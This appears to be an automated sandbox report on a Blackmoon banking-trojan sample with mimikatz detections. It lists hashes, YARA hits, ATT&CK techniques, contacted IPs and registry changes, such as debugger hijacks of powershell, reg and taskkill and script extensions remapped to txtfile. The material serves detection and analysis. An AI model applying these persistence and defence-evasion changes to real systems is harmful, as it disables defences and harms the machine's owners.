blackmoon | e88eb91e6c782943c876386b33516bbd3cd90f45454de6012a56b81975097f1f

Analysis

max time kernel
150s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20250411-en
resource tags

arch:x64arch:x86image:win11-20250411-enlocale:en-usos:windows11-21h2-x64system
submitted
22/04/2025, 00:47

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General

Target

2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
Size

10.6MB
MD5

1d4b6bfe11c333de0c18b0d8b9b48fef
SHA1

4489b30f081dfab614a219ca112790a43de3ea59
SHA256

e88eb91e6c782943c876386b33516bbd3cd90f45454de6012a56b81975097f1f
SHA512

14190fee6ebada3a7cd6417e1fd32b0fe1fa19eff5e06cfce3b588c782764c5755ef7de42c8f2a822afc618f5d376be1a768afad3a033b9c2e787ac39619ddf2
SSDEEP

196608:K2c1uwl1CPwDv3uFhi43v13uFnCPws8S/VW08Sr8lQeY3YgOFmknGzwHIPHd9DP6:KnEwl1CPwDv3uFY43v13uFnCPwa/VW0S

Score

10^/10

blackmoon mimikatz banker defense_evasion discovery execution persistence privilege_escalation trojan upx

Malware Config

Signatures

Blackmoon family
blackmoon
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 6 IoCs

resource	yara_rule
behavioral2/memory/2196-0-0x0000000000400000-0x0000000000D0F000-memory.dmp	family_blackmoon
behavioral2/memory/2196-8-0x0000000000400000-0x0000000000D0F000-memory.dmp	family_blackmoon
behavioral2/files/0x001a00000002b0d2-21.dat	family_blackmoon
behavioral2/memory/5552-23-0x0000000000400000-0x0000000000D0F000-memory.dmp	family_blackmoon
behavioral2/memory/4668-41-0x0000000000400000-0x0000000000469000-memory.dmp	family_blackmoon
behavioral2/memory/4668-43-0x0000000000400000-0x0000000000469000-memory.dmp	family_blackmoon

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

mimikatz is an open source tool to dump credentials on Windows 4 IoCs

resource	yara_rule
behavioral2/memory/2196-0-0x0000000000400000-0x0000000000D0F000-memory.dmp	mimikatz
behavioral2/memory/2196-8-0x0000000000400000-0x0000000000D0F000-memory.dmp	mimikatz
behavioral2/files/0x001a00000002b0d2-21.dat	mimikatz
behavioral2/memory/5552-23-0x0000000000400000-0x0000000000D0F000-memory.dmp	mimikatz

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	utzchgp.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 44 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	utzchgp.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3896	netsh.exe
2676	netsh.exe

Executes dropped EXE 11 IoCs

pid	Process
1740	hentai.exe
4436	meouau.exe
5552	utzchgp.exe
2852	hentai.exe
5068	utzchgp.exe
3764	hentai.exe
4668	cskqfggabbhwqww30735.exe
5864	utzchgp.exe
5668	hentai.exe
4444	utzchgp.exe
5044	hentai.exe

Unexpected DNS network traffic destination 47 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	flow	ioc	pid	Process
Destination IP	11	104.128.239.75	2288	nslookup.exe
Destination IP	19	163.172.168.171	5148	nslookup.exe
Destination IP	37	51.75.173.177	5324	nslookup.exe
Destination IP	39	51.75.173.177	5324	nslookup.exe
Destination IP	9	208.87.98.37	2368	nslookup.exe
Destination IP	18	163.172.168.171	5148	nslookup.exe
Destination IP	20	163.172.168.171	5148	nslookup.exe
Destination IP	21	94.103.153.176	4260	nslookup.exe
Destination IP	29	178.63.116.152	5904	nslookup.exe
Destination IP	34	188.226.146.136	4504	nslookup.exe
Destination IP	61	142.4.204.111	128	nslookup.exe
Destination IP	46	144.76.103.143	2112	nslookup.exe
Destination IP	48	5.132.191.104	5540	nslookup.exe
Destination IP	53	207.148.83.241	4456	nslookup.exe
Destination IP	57	165.227.40.43	4920	nslookup.exe
Destination IP	59	165.227.40.43	4920	nslookup.exe
Destination IP	10	208.87.98.37	2368	nslookup.exe
Destination IP	13	104.128.239.75	2288	nslookup.exe
Destination IP	30	51.77.227.84	6044	nslookup.exe
Destination IP	38	51.75.173.177	5324	nslookup.exe
Destination IP	40	79.124.7.81	6056	nslookup.exe
Destination IP	41	79.124.7.81	6056	nslookup.exe
Destination IP	52	13.239.157.177	3364	nslookup.exe
Destination IP	56	207.148.83.241	4456	nslookup.exe
Destination IP	22	94.103.153.176	4260	nslookup.exe
Destination IP	24	207.192.71.13	5772	nslookup.exe
Destination IP	15	161.97.219.84	1704	nslookup.exe
Destination IP	25	207.192.71.13	5772	nslookup.exe
Destination IP	26	207.192.71.13	5772	nslookup.exe
Destination IP	28	178.63.116.152	5904	nslookup.exe
Destination IP	33	188.226.146.136	4504	nslookup.exe
Destination IP	55	207.148.83.241	4456	nslookup.exe
Destination IP	60	165.227.40.43	4920	nslookup.exe
Destination IP	12	104.128.239.75	2288	nslookup.exe
Destination IP	17	161.97.219.84	1704	nslookup.exe
Destination IP	23	94.103.153.176	4260	nslookup.exe
Destination IP	27	178.63.116.152	5904	nslookup.exe
Destination IP	31	51.77.227.84	6044	nslookup.exe
Destination IP	42	79.124.7.81	6056	nslookup.exe
Destination IP	44	144.76.103.143	2112	nslookup.exe
Destination IP	16	161.97.219.84	1704	nslookup.exe
Destination IP	32	51.77.227.84	6044	nslookup.exe
Destination IP	35	188.226.146.136	4504	nslookup.exe
Destination IP	45	144.76.103.143	2112	nslookup.exe
Destination IP	47	5.132.191.104	5540	nslookup.exe
Destination IP	50	13.239.157.177	3364	nslookup.exe
Destination IP	51	13.239.157.177	3364	nslookup.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Delete value	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger	utzchgp.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\meouau.exe	hentai.exe
File opened for modification	C:\Windows\SysWOW64\meouau.exe	hentai.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4668-41-0x0000000000400000-0x0000000000469000-memory.dmp	upx
behavioral2/files/0x001900000002b0d8-40.dat	upx
behavioral2/memory/4668-43-0x0000000000400000-0x0000000000469000-memory.dmp	upx
behavioral2/memory/5068-38-0x0000000010000000-0x000000001000B000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\zmlbyttq\utzchgp.exe	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
File created	C:\Windows\zmlbyttq\cskqfggabbhwqww30735.exe	utzchgp.exe
File created	C:\Windows\Fonts\utzchgp.exe	utzchgp.exe
File opened for modification	C:\Windows\Fonts\utzchgp.exe	utzchgp.exe
File created	C:\Windows\zmlbyttq\utzchgp.exe	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3600	sc.exe
4020	sc.exe
3388	sc.exe
5384	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	utzchgp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	meouau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	utzchgp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	utzchgp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	utzchgp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hentai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-22_1d4b6bfe11c333de0c18b0d8b9b48fef_amadey_cloudeye_elex_hacktools_mimikatz_rhadamanthys_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hentai.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4912	cmd.exe
5568	PING.EXE

NSIS installer 1 IoCs

installer

resource	yara_rule
behavioral2/files/0x001a00000002b0d2-21.dat	nsis_installer_2

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	utzchgp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	utzchgp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	utzchgp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	utzchgp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	utzchgp.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	utzchgp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	utzchgp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	utzchgp.exe
